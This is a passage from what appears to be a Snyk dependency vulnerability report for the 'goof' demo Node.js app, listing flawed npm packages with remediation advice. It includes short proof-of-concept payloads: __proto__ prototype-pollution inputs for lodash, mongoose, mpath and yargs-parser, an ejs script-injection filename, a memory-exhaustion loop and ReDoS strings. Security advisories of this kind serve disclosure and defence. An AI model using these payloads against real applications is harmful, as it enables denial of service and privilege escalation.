to version 3.5.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.5.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: tap@11.1.5, typeorm@0.2.45 and others
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › typeorm@0.2.45 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › tap-mocha-reporter@3.0.9 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express-fileupload@0.0.5 › fs-extra@0.22.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › istanbul-lib-source-maps@1.2.6 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › spawn-wrap@1.4.3 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4Remediation: Upgrade to express@4.19.2.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using encodeurl
before passing it to the location
header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.
Remediation
Upgrade express
to version 4.19.2, 5.0.0-beta.3 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@1.0.0 and ejs-locals@1.0.2
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs@1.0.0Remediation: Upgrade to ejs@2.5.5.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename
option causing it to render the value as is, without escaping it.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the filename
option, which will be rendered as is when an error occurs during rendering.
ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@1.0.0 and ejs-locals@1.0.2
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs@1.0.0Remediation: Upgrade to ejs@2.5.5.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames
option causing it to crash.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the localNames
option, which will cause the renderer to crash.
ejs.renderFile('my-template', {localNames:'try'}, callback);
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
medium severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@1.1.1.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The em
regex within src/rules.js
file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 1.1.1 or higher.
References
medium severity
- Vulnerable module: moment
- Introduced through: moment@2.15.1
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › moment@2.15.1Remediation: Upgrade to moment@2.15.2.
Overview
moment
is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks for any locale that has separate format and standalone options and format
input can be controlled by the user.
An attacker can provide a specially crafted input to the format
function, which nearly matches the pattern being matched. This will cause the regular expression matching to take a long time, all the while occupying the event loop and preventing it from processing other requests and making the server unavailable (a Denial of Service attack).
Disclosure Timeline
- October 19th, 2016 - Reported the issue to package owner.
- October 19th, 2016 - Issue acknowledged by package owner.
- October 24th, 2016 - Issue fixed and version
2.15.2
released.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
References
medium severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4Remediation: Upgrade to mongoose@4.13.21.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Information Exposure. Any query object with a _bsontype
attribute is ignored, allowing attackers to bypass access control.
Remediation
Upgrade mongoose
to version 4.13.21, 5.7.5 or higher.
References
medium severity
- Vulnerable module: jquery
- Introduced through: jquery@2.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › jquery@2.2.4Remediation: Upgrade to jquery@3.4.0.
Overview
jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
Affected versions of this package are vulnerable to Prototype Pollution. The extend
function can be tricked into modifying the prototype of Object
when the attacker controls part of the structure passed to this function. This can let an attacker add or modify an existing property that will then exist on all objects.
Note: CVE-2019-5428 is a duplicate of CVE-2019-11358
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade jquery
to version 3.4.0 or higher.
References
medium severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4Remediation: Upgrade to mongoose@5.12.2.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema()
function is subject to prototype pollution due to the recursively calling of Schema.prototype.add()
function to add new items into the schema object. This vulnerability allows modification of the Object prototype.
PoC
mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose
to version 5.12.2 or higher.
References
medium severity
- Vulnerable module: mpath
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mpath@0.1.1Remediation: Upgrade to mongoose@5.13.9.
Overview
mpath is a package that gets/sets javascript object values using MongoDB-like path notation.
Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1
returns -1
if parts[i]
is ['__proto__']
. This is because the method that has been called if the input is an array is Array.prototype.indexOf()
and not String.prototype.indexOf()
. They behave differently depending on the type of the input.
PoC
const mpath = require('mpath');
// mpath.set(['__proto__', 'polluted'], 'yes', {});
// console.log(polluted); // ReferenceError: polluted is not defined
mpath.set([['__proto__'], 'polluted'], 'yes', {});
console.log(polluted); // yes
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mpath
to version 0.8.4 or higher.
References
medium severity
- Vulnerable module: yargs-parser
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › yargs@11.1.0 › yargs-parser@9.0.2Remediation: Upgrade to tap@12.6.2.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › yargs-parser@8.1.0Remediation: Upgrade to tap@12.6.2.
Overview
yargs-parser is a mighty option parser used by yargs.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a __proto__
payload.
Our research team checked several attack vectors to verify this vulnerability:
- It could be used for privilege escalation.
- The library could be used to parse user input received from different sources:
- terminal emulators
- system calls from other code bases
- CLI RPC servers
PoC by Snyk
const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
